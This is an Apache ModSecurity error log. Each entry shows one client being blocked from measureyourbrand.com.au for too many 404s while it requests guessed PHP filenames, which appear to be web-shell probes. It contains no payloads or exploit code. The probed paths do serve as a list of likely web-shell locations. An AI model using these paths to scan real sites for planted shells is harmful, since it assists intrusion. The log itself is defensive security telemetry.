[Fri Apr 03 18:25:21.455537 2026] [:error] [pid 33445:tid 33463] [client 65.52.66.199:20978] [client 65.52.66.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/0.php"] [unique_id "ac-VkVlRNZ0iDVmJWM240wAAAA0"]
[Fri Apr 03 18:25:22.361634 2026] [:error] [pid 35469:tid 35484] [client 65.52.66.199:23195] [client 65.52.66.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wgift1.php"] [unique_id "ac-VkqGvTIc8-wY3jUQWIAAAAQ0"]
[Fri Apr 03 18:25:23.680445 2026] [:error] [pid 33447:tid 33509] [client 65.52.66.199:19648] [client 65.52.66.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wgift1.php"] [unique_id "ac-Vk0gaPmDHz92j4lMhJwAAAIU"]
[Fri Apr 03 18:25:25.310132 2026] [:error] [pid 35469:tid 35492] [client 65.52.66.199:16533] [client 65.52.66.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wgift1.php"] [unique_id "ac-VlaGvTIc8-wY3jUQWKgAAARU"]
[Fri Apr 03 18:25:28.840780 2026] [:error] [pid 33447:tid 33518] [client 65.52.66.199:28721] [client 65.52.66.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wgift1.php"] [unique_id "ac-VmEgaPmDHz92j4lMhLQAAAI4"]
[Fri Apr 03 18:25:29.827848 2026] [:error] [pid 33447:tid 33524] [client 65.52.66.199:41666] [client 65.52.66.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rithin.php"] [unique_id "ac-VmUgaPmDHz92j4lMhMgAAAJQ"]
[Fri Apr 03 18:25:31.520185 2026] [:error] [pid 33446:tid 33500] [client 65.52.66.199:22442] [client 65.52.66.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rithin.php"] [unique_id "ac-Vm9g3dCqFYIIdw0r63wAAAFc"]
[Fri Apr 03 18:25:33.469428 2026] [:error] [pid 55174:tid 55194] [client 65.52.66.199:41624] [client 65.52.66.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rithin.php"] [unique_id "ac-VnZ_WKqUonPNUHYzC7wAAAdI"]
[Fri Apr 03 18:25:34.800446 2026] [:error] [pid 33542:tid 33551] [client 65.52.66.199:16807] [client 65.52.66.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rithin.php"] [unique_id "ac-Vnnwb6uB1LaGtepbXYQAAAMY"]
[Fri Apr 03 18:25:37.021908 2026] [:error] [pid 40562:tid 40584] [client 65.52.66.199:24710] [client 65.52.66.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a5.php"] [unique_id "ac-VoTfFMXuP9zvqCepJNwAAAZM"]
[Fri Apr 03 18:25:40.544346 2026] [:error] [pid 33446:tid 33488] [client 65.52.66.199:21923] [client 65.52.66.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a5.php"] [unique_id "ac-VpNg3dCqFYIIdw0r65gAAAEs"]
[Fri Apr 03 18:25:43.783954 2026] [:error] [pid 40562:tid 40574] [client 65.52.66.199:19912] [client 65.52.66.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a5.php"] [unique_id "ac-VpzfFMXuP9zvqCepJSgAAAYk"]
[Fri Apr 03 18:25:45.926161 2026] [:error] [pid 33445:tid 33454] [client 65.52.66.199:5067] [client 65.52.66.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a5.php"] [unique_id "ac-VqVlRNZ0iDVmJWM245QAAAAQ"]
[Fri Apr 03 18:25:50.197106 2026] [:error] [pid 35469:tid 35489] [client 65.52.66.199:18817] [client 65.52.66.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class.php"] [unique_id "ac-VrqGvTIc8-wY3jUQWTAAAARI"]
[Fri Apr 03 18:25:52.638098 2026] [:error] [pid 33446:tid 33491] [client 65.52.66.199:18868] [client 65.52.66.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class.php"] [unique_id "ac-VsNg3dCqFYIIdw0r69AAAAE4"]
[Fri Apr 03 18:25:55.280222 2026] [:error] [pid 33446:tid 33482] [client 65.52.66.199:33623] [client 65.52.66.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class.php"] [unique_id "ac-Vs9g3dCqFYIIdw0r7AQAAAEU"]
[Fri Apr 03 18:25:57.121484 2026] [:error] [pid 40562:tid 40581] [client 65.52.66.199:18879] [client 65.52.66.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class.php"] [unique_id "ac-VtTfFMXuP9zvqCepJVgAAAZA"]
[Fri Apr 03 18:25:59.093305 2026] [:error] [pid 33446:tid 33477] [client 65.52.66.199:4513] [client 65.52.66.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zwq13.php"] [unique_id "ac-Vt9g3dCqFYIIdw0r7FQAAAEA"]
[Fri Apr 03 18:26:01.158388 2026] [:error] [pid 33447:tid 33528] [client 65.52.66.199:4346] [client 65.52.66.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zwq13.php"] [unique_id "ac-VuUgaPmDHz92j4lMhUAAAAJg"]
[Fri Apr 03 18:26:02.432739 2026] [:error] [pid 33447:tid 33515] [client 65.52.66.199:21753] [client 65.52.66.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zwq13.php"] [unique_id "ac-VukgaPmDHz92j4lMhUgAAAIs"]
[Fri Apr 03 18:26:05.515998 2026] [:error] [pid 33447:tid 33527] [client 65.52.66.199:21717] [client 65.52.66.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zwq13.php"] [unique_id "ac-VvUgaPmDHz92j4lMhWgAAAJc"]
[Fri Apr 03 18:26:08.065405 2026] [:error] [pid 33445:tid 33463] [client 65.52.66.199:33606] [client 65.52.66.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aapig.php"] [unique_id "ac-VwFlRNZ0iDVmJWM25aQAAAA0"]
[Fri Apr 03 18:26:17.682014 2026] [:error] [pid 35469:tid 35475] [client 65.52.66.199:24394] [client 65.52.66.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/images/admin.php"] [unique_id "ac-VyaGvTIc8-wY3jUQWcAAAAQQ"]
[Fri Apr 03 18:26:19.599221 2026] [:error] [pid 33446:tid 33497] [client 65.52.66.199:14526] [client 65.52.66.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/images/admin.php"] [unique_id "ac-Vy9g3dCqFYIIdw0r7SwAAAFQ"]
[Fri Apr 03 18:26:22.435403 2026] [:error] [pid 33446:tid 33501] [client 65.52.66.199:13749] [client 65.52.66.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/images/admin.php"] [unique_id "ac-Vztg3dCqFYIIdw0r7VgAAAFg"]
[Fri Apr 03 18:26:25.069690 2026] [:error] [pid 40562:tid 40589] [client 65.52.66.199:4340] [client 65.52.66.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/images/admin.php"] [unique_id "ac-V0TfFMXuP9zvqCepJcwAAAZg"]
[Fri Apr 03 18:26:26.438748 2026] [:error] [pid 33446:tid 33490] [client 65.52.66.199:18826] [client 65.52.66.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lp6.php"] [unique_id "ac-V0tg3dCqFYIIdw0r7ZgAAAE0"]
[Fri Apr 03 18:26:29.436713 2026] [:error] [pid 35469:tid 35491] [client 65.52.66.199:15088] [client 65.52.66.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lp6.php"] [unique_id "ac-V1aGvTIc8-wY3jUQWfwAAARQ"]
[Fri Apr 03 18:26:30.027582 2026] [:error] [pid 35469:tid 35489] [client 65.52.66.199:44293] [client 65.52.66.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lp6.php"] [unique_id "ac-V1qGvTIc8-wY3jUQWgwAAARI"]
[Fri Apr 03 18:26:30.795166 2026] [:error] [pid 40533:tid 40555] [client 65.52.66.199:15329] [client 65.52.66.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lp6.php"] [unique_id "ac-V1vbIAA8AViDmwsuNSgAAAVQ"]
[Fri Apr 03 18:26:34.003999 2026] [:error] [pid 40533:tid 40544] [client 65.52.66.199:39887] [client 65.52.66.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/com.php"] [unique_id "ac-V2vbIAA8AViDmwsuNUQAAAUk"]
[Fri Apr 03 18:26:35.544559 2026] [:error] [pid 33542:tid 33564] [client 65.52.66.199:29171] [client 65.52.66.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/com.php"] [unique_id "ac-V23wb6uB1LaGtepbX2wAAANM"]
[Fri Apr 03 18:26:38.563139 2026] [:error] [pid 40562:tid 40571] [client 65.52.66.199:21716] [client 65.52.66.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/com.php"] [unique_id "ac-V3jfFMXuP9zvqCepJnwAAAYY"]
[Fri Apr 03 18:26:53.237731 2026] [:error] [pid 33445:tid 33465] [client 65.52.66.199:37915] [client 65.52.66.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bolt.php"] [unique_id "ac-V7VlRNZ0iDVmJWM26TgAAAA8"]
[Fri Apr 03 18:26:55.970317 2026] [:error] [pid 33446:tid 33500] [client 65.52.66.199:37928] [client 65.52.66.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bolt.php"] [unique_id "ac-V79g3dCqFYIIdw0r7qAAAAFc"]
[Fri Apr 03 18:26:58.908394 2026] [:error] [pid 40533:tid 40559] [client 65.52.66.199:21240] [client 65.52.66.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bolt.php"] [unique_id "ac-V8vbIAA8AViDmwsuNXAAAAVg"]
[Fri Apr 03 18:27:02.672732 2026] [:error] [pid 33447:tid 33516] [client 65.52.66.199:36213] [client 65.52.66.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wander.php"] [unique_id "ac-V9kgaPmDHz92j4lMhlgAAAIw"]
[Fri Apr 03 18:27:04.539004 2026] [:error] [pid 33446:tid 33483] [client 65.52.66.199:30411] [client 65.52.66.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wander.php"] [unique_id "ac-V-Ng3dCqFYIIdw0r71gAAAEY"]
[Fri Apr 03 18:27:06.781969 2026] [:error] [pid 35469:tid 35471] [client 65.52.66.199:36197] [client 65.52.66.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wander.php"] [unique_id "ac-V-qGvTIc8-wY3jUQW3wAAAQA"]
[Fri Apr 03 18:27:07.973017 2026] [:error] [pid 55174:tid 55177] [client 65.52.66.199:44311] [client 65.52.66.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wander.php"] [unique_id "ac-V-5_WKqUonPNUHYzDVgAAAcE"]
[Fri Apr 03 18:27:10.356690 2026] [:error] [pid 40562:tid 40572] [client 65.52.66.199:36179] [client 65.52.66.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/amax.php"] [unique_id "ac-V_jfFMXuP9zvqCepJygAAAYc"]
[Fri Apr 03 18:27:12.990685 2026] [:error] [pid 33445:tid 33459] [client 65.52.66.199:4288] [client 65.52.66.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/amax.php"] [unique_id "ac-WAFlRNZ0iDVmJWM26lAAAAAk"]
[Fri Apr 03 18:27:14.409445 2026] [:error] [pid 33446:tid 33491] [client 65.52.66.199:37893] [client 65.52.66.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/amax.php"] [unique_id "ac-WAtg3dCqFYIIdw0r75QAAAE4"]
[Fri Apr 03 18:27:15.885888 2026] [:error] [pid 33445:tid 33458] [client 65.52.66.199:30459] [client 65.52.66.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/amax.php"] [unique_id "ac-WA1lRNZ0iDVmJWM26ngAAAAg"]
[Fri Apr 03 18:27:29.079600 2026] [:error] [pid 33445:tid 33464] [client 65.52.66.199:21724] [client 65.52.66.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp9.php"] [unique_id "ac-WEVlRNZ0iDVmJWM26xgAAAA4"]
[Fri Apr 03 18:27:31.348750 2026] [:error] [pid 55174:tid 55179] [client 65.52.66.199:4290] [client 65.52.66.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp9.php"] [unique_id "ac-WE5_WKqUonPNUHYzDfAAAAcM"]
[Fri Apr 03 18:27:33.516011 2026] [:error] [pid 33445:tid 33459] [client 65.52.66.199:4440] [client 65.52.66.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp9.php"] [unique_id "ac-WFVlRNZ0iDVmJWM26ywAAAAk"]
[Fri Apr 03 18:27:35.226092 2026] [:error] [pid 35469:tid 35476] [client 65.52.66.199:21241] [client 65.52.66.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp9.php"] [unique_id "ac-WF6GvTIc8-wY3jUQW9gAAAQU"]
[Fri Apr 03 18:27:36.379329 2026] [:error] [pid 40562:tid 40582] [client 65.52.66.199:40892] [client 65.52.66.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/images/acxx.php"] [unique_id "ac-WGDfFMXuP9zvqCepKCgAAAZE"]
[Fri Apr 03 18:27:37.308829 2026] [:error] [pid 55174:tid 55176] [client 65.52.66.199:28298] [client 65.52.66.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/images/acxx.php"] [unique_id "ac-WGZ_WKqUonPNUHYzDfwAAAcA"]
[Fri Apr 03 18:27:38.054470 2026] [:error] [pid 40562:tid 40567] [client 65.52.66.199:40869] [client 65.52.66.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/images/acxx.php"] [unique_id "ac-WGjfFMXuP9zvqCepKDwAAAYI"]
[Fri Apr 03 18:27:39.657848 2026] [:error] [pid 33446:tid 33500] [client 65.52.66.199:21242] [client 65.52.66.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/images/acxx.php"] [unique_id "ac-WG9g3dCqFYIIdw0r8dwAAAFc"]
[Fri Apr 03 18:27:41.029799 2026] [:error] [pid 40562:tid 40565] [client 65.52.66.199:33866] [client 65.52.66.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/simple.php"] [unique_id "ac-WHTfFMXuP9zvqCepKEgAAAYA"]
[Fri Apr 03 18:27:41.937432 2026] [:error] [pid 33446:tid 33484] [client 65.52.66.199:21698] [client 65.52.66.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/simple.php"] [unique_id "ac-WHdg3dCqFYIIdw0r8igAAAEc"]
[Fri Apr 03 18:27:46.097372 2026] [:error] [pid 55174:tid 55195] [client 65.52.66.199:15024] [client 65.52.66.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/simple.php"] [unique_id "ac-WIp_WKqUonPNUHYzDgwAAAdM"]
